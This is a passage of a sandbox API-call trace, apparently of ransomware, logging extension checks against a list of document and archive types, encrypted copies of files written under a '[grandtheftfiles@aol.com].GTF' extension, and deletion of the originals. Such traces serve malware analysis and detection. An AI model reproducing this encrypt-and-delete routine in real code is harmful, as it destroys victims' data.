	[0068.345] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1
	[0068.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.345] lstrlenW (lpString=".doc") returned 4
	[0068.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString=".docx") returned 5
	[0068.345] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.345] lstrlenW (lpString=".pdf") returned 4
	[0068.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString=".xls") returned 4
	[0068.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString=".xlsx") returned 5
	[0068.345] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.345] lstrlenW (lpString=".ppt") returned 4
	[0068.345] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.345] lstrlenW (lpString=".zip") returned 4
	[0068.345] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString=".rar") returned 4
	[0068.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.345] lstrlenW (lpString=".bz2") returned 4
	[0068.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.345] lstrlenW (lpString=".7z") returned 3
	[0068.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.345] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.345] lstrlenW (lpString=".dbf") returned 4
	[0068.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.346] lstrlenW (lpString=".1cd") returned 4
	[0068.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.346] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.745] lstrlenW (lpString=".jpg") returned 4
	[0068.745] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.745] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.745] lstrlenW (lpString=".doc") returned 4
	[0068.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.745] lstrlenW (lpString=".docx") returned 5
	[0068.745] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.745] lstrlenW (lpString=".pdf") returned 4
	[0068.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.746] lstrlenW (lpString=".xls") returned 4
	[0068.780] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.780] lstrlenW (lpString=".xlsx") returned 5
	[0068.780] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.780] lstrlenW (lpString=".ppt") returned 4
	[0068.780] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.780] lstrlenW (lpString=".zip") returned 4
	[0068.780] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.780] lstrlenW (lpString=".rar") returned 4
	[0068.780] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.780] lstrlenW (lpString=".bz2") returned 4
	[0068.780] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.780] lstrlenW (lpString=".7z") returned 3
	[0068.780] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.780] lstrlenW (lpString=".dbf") returned 4
	[0068.780] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.780] lstrlenW (lpString=".1cd") returned 4
	[0068.780] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45
	[0068.780] lstrlenW (lpString=".jpg") returned 4
	[0068.780] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.780] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.781] lstrlenW (lpString="Rotate4.ico") returned 11
	[0068.781] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.781] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=894) returned 1
	[0068.781] CloseHandle (hObject=0x338) returned 1
	[0068.781] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
	[0068.781] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.781] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.782] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.782] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.782] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.782] GetLastError () returned 0x0
	[0068.782] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.797] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.797] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.798] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.798] SetEndOfFile (hFile=0x35c) returned 1
	[0068.798] CloseHandle (hObject=0x35c) returned 1
	[0068.799] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.799] SetEndOfFile (hFile=0x338) returned 1
	[0068.800] CloseHandle (hObject=0x338) returned 1
	[0068.800] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.800] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1
	[0068.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.800] lstrlenW (lpString=".doc") returned 4
	[0068.800] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.800] lstrlenW (lpString=".docx") returned 5
	[0068.800] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0068.800] lstrlenW (lpString=".pdf") returned 4
	[0068.800] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.800] lstrlenW (lpString=".xls") returned 4
	[0068.800] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.800] lstrlenW (lpString=".xlsx") returned 5
	[0068.801] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0068.801] lstrlenW (lpString=".ppt") returned 4
	[0068.801] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString=".zip") returned 4
	[0068.801] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString=".rar") returned 4
	[0068.801] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString=".bz2") returned 4
	[0068.801] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.801] lstrlenW (lpString=".7z") returned 3
	[0068.801] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString=".dbf") returned 4
	[0068.801] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString=".1cd") returned 4
	[0068.801] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString=".jpg") returned 4
	[0068.801] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.801] lstrlenW (lpString=".doc") returned 4
	[0068.801] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.801] lstrlenW (lpString=".docx") returned 5
	[0068.801] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0068.801] lstrlenW (lpString=".pdf") returned 4
	[0068.801] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString=".xls") returned 4
	[0068.801] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.801] lstrlenW (lpString=".xlsx") returned 5
	[0068.801] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0068.802] lstrlenW (lpString=".ppt") returned 4
	[0068.802] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.802] lstrlenW (lpString=".zip") returned 4
	[0068.802] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.802] lstrlenW (lpString=".rar") returned 4
	[0068.802] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.802] lstrlenW (lpString=".bz2") returned 4
	[0068.802] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.802] lstrlenW (lpString=".7z") returned 3
	[0068.802] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.802] lstrlenW (lpString=".dbf") returned 4
	[0068.802] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.802] lstrlenW (lpString=".1cd") returned 4
	[0068.802] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.802] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0068.802] lstrlenW (lpString=".jpg") returned 4
	[0068.802] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.802] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.802] lstrlenW (lpString="Rotate5.ico") returned 11
	[0068.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.803] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=894) returned 1
	[0068.803] CloseHandle (hObject=0x338) returned 1
	[0068.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
	[0068.803] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.803] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.803] GetLastError () returned 0x0
	[0068.803] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.824] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.825] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.825] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.825] SetEndOfFile (hFile=0x35c) returned 1
	[0068.826] CloseHandle (hObject=0x35c) returned 1
	[0068.826] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.826] SetEndOfFile (hFile=0x338) returned 1
	[0068.827] CloseHandle (hObject=0x338) returned 1
	[0068.827] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.827] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1
	[0068.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.828] lstrlenW (lpString=".doc") returned 4
	[0068.828] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.828] lstrlenW (lpString=".docx") returned 5
	[0068.828] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0068.828] lstrlenW (lpString=".pdf") returned 4
	[0068.828] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.828] lstrlenW (lpString=".xls") returned 4
	[0068.828] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.828] lstrlenW (lpString=".xlsx") returned 5
	[0068.828] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0068.828] lstrlenW (lpString=".ppt") returned 4
	[0068.828] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.828] lstrlenW (lpString=".zip") returned 4
	[0068.828] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.828] lstrlenW (lpString=".rar") returned 4
	[0068.828] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.828] lstrlenW (lpString=".bz2") returned 4
	[0068.828] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.828] lstrlenW (lpString=".7z") returned 3
	[0068.828] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.828] lstrlenW (lpString=".dbf") returned 4
	[0068.828] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.828] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.828] lstrlenW (lpString=".1cd") returned 4
	[0068.829] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.829] lstrlenW (lpString=".jpg") returned 4
	[0068.829] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.829] lstrlenW (lpString=".doc") returned 4
	[0068.829] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.829] lstrlenW (lpString=".docx") returned 5
	[0068.829] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0068.829] lstrlenW (lpString=".pdf") returned 4
	[0068.829] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString=".xls") returned 4
	[0068.829] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString=".xlsx") returned 5
	[0068.829] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0068.829] lstrlenW (lpString=".ppt") returned 4
	[0068.829] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.829] lstrlenW (lpString=".zip") returned 4
	[0068.829] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString=".rar") returned 4
	[0068.829] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.829] lstrlenW (lpString=".bz2") returned 4
	[0068.830] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.830] lstrlenW (lpString=".7z") returned 3
	[0068.830] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.830] lstrlenW (lpString=".dbf") returned 4
	[0068.830] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.830] lstrlenW (lpString=".1cd") returned 4
	[0068.830] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0068.830] lstrlenW (lpString=".jpg") returned 4
	[0068.830] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.830] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.830] lstrlenW (lpString="Rotate7.ico") returned 11
	[0068.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.830] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=894) returned 1
	[0068.830] CloseHandle (hObject=0x338) returned 1
	[0068.830] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0068.831] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.831] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.831] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0068.831] GetLastError () returned 0x0
	[0068.831] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0068.833] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x380, lpOverlapped=0x0) returned 1
	[0068.835] ReadFile (in: hFile=0x338, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.835] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.835] SetEndOfFile (hFile=0x35c) returned 1
	[0068.835] CloseHandle (hObject=0x35c) returned 1
	[0068.836] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.836] SetEndOfFile (hFile=0x338) returned 1
	[0068.837] CloseHandle (hObject=0x338) returned 1
	[0068.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1
	[0068.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.837] lstrlenW (lpString=".doc") returned 4
	[0068.837] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.837] lstrlenW (lpString=".docx") returned 5
	[0068.837] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0068.837] lstrlenW (lpString=".pdf") returned 4
	[0068.837] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.837] lstrlenW (lpString=".xls") returned 4
	[0068.837] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.837] lstrlenW (lpString=".xlsx") returned 5
	[0068.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0068.838] lstrlenW (lpString=".ppt") returned 4
	[0068.838] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString=".zip") returned 4
	[0068.838] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString=".rar") returned 4
	[0068.838] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString=".bz2") returned 4
	[0068.838] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.838] lstrlenW (lpString=".7z") returned 3
	[0068.838] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString=".dbf") returned 4
	[0068.838] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString=".1cd") returned 4
	[0068.838] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
